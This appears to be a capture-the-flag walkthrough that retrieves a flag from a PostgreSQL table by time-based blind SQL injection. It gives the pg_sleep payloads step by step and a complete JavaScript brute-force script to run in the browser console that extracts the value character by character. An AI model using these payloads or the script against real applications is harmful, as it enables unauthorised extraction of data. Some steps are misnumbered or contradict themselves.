Obtain flag from table flag field flag in PostgreSQL DBMS.
| ID | Name | Age | Weight |
|---|---|---|---|
| 1 | David Durham | 97 | 51 |
| 2 | Charlene Lopez | 40 | 39 |
| 3 | Justin Griffin | 76 | 56 |
1. Enter different payloads, for example:
The only difference (except for the error messages) we can notice is that pg_sleep(1) is executed considerably longer than other queries. Then this is the time based blind sql injection.
The delay can be observed in the network tab of defelopers tools, or in the HTTP proxy tools such as Burp Suite
Since we know that flag is in the flag table and we know the sql injection type, we can do perform our attack. To do so we need to find a lenght of flag first.
The attack is conducted the same way as the boolean based blind, but except for the fact we cannot see the result of the execution, but we can control and measure the execution time of the query.
2. Enter ' OR (SELECT CASE WHEN LENGTH((SELECT flag FROM flag LIMIT 1)) > 10 THEN pg_sleep(1) END) IS NOT NULL -- and observe the delay.
Explanation: in query SELECT 1 FROM capybaras WHERE name ='' OR (SELECT CASE WHEN LENGTH((SELECT flag FROM flag LIMIT 1)) > 10 THEN pg_sleep(1) END) IS NOT NULL -- :
If the LENGTH of flag is greater that 10 we should get 1 second delay of the response otherwise it will be executed instantly. Now we need to find the exact size. We can do it by trying every possible lenght from 0 to infnite with = operator, or by performing binary search with <,> and = operators.
3. Enter ' OR (SELECT CASE WHEN LENGTH((SELECT flag FROM flag LIMIT 1)) < 30 THEN pg_sleep(1) END) IS NOT NULL -- send request and observe the output.
We should get 1 second delay and our flag is less than 30 chars
4. Enter ' OR (SELECT CASE WHEN LENGTH((SELECT flag FROM flag LIMIT 1)) > 24 THEN pg_sleep(1) END) IS NOT NULL -- send request and observe the output.
We should get 1 second delay and our flag is less than 24 chars
5. Enter ' OR (SELECT CASE WHEN LENGTH((SELECT flag FROM flag LIMIT 1)) < 26 THEN pg_sleep(1) END) IS NOT NULL -- send request and observe the output.
We should get 1 second delay and our flag is less than 26 chars
6. Enter ' OR (SELECT CASE WHEN LENGTH((SELECT flag FROM flag LIMIT 1)) = 25 THEN pg_sleep(1) END) IS NOT NULL -- send request and observe the output.
We should get 1 second delay and our flag is equals to 25 chars
9. Now ne know the lenght of the flag, and we need to iterate through all possible values for each letter.
The query to do so will be like this' OR (SELECT CASE WHEN SUBSTR((SELECT flag FROM flag limit 1), 1, 1) = 'f' THEN pg_sleep(1) END) IS NOT NULL --
Explanation: in query SELECT 1 FROM capybaras WHERE name ='' OR (SELECT CASE WHEN SUBSTR((SELECT flag FROM flag limit 1), 1, 1) = 'f' THEN pg_sleep(1) END) IS NOT NULL -- :
Lets automate the process of bruteforcing each charecter of flag. The following code sends every possible chars one by one for each position of the flag, untill the responci will be true.
async function bruteForceSQLInjection(baseUrl, paramName, charset, maxLength) {
let result = '';
for (let i = 1; i <= maxLength; i++) {
for (let char of charset) {
// Update the payload to match the provided query format
const payload = `' OR (SELECT CASE WHEN SUBSTR((SELECT flag FROM flag limit 1), ${i}, 1) = '${char}' THEN pg_sleep(1) END) IS NOT NULL --`;
const body = new URLSearchParams();
body.append(paramName, payload);
try {
const startTime = new Date();
const response = await fetch(baseUrl, {
method: 'POST',
body: body,
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
}
});
const endTime = new Date();
const requestDuration = (endTime - startTime) / 1000; // Convert to seconds
// Check if the request took significantly longer, indicating the pg_sleep was triggered
if (requestDuration > 1) { // Adjust this threshold based on expected network latency
result += char;
console.log('Found character:', char);
break; // Move to the next character position
}
} catch (error) {
console.error('Error in request:', error);
}
}
}
console.log('Extracted string:', result);
}
// Usage
bruteForceSQLInjection(
'/', // URL
'search_query', // Post parameter name
'abcdefghijklmnopqrstuvwxyz}_{0123456789', // Character set to iterate over
25 // Length of the string to brute force
);
10. Copy and paste this code to browser console and it should output the flag. Edit settings on the bottom if its not working as expected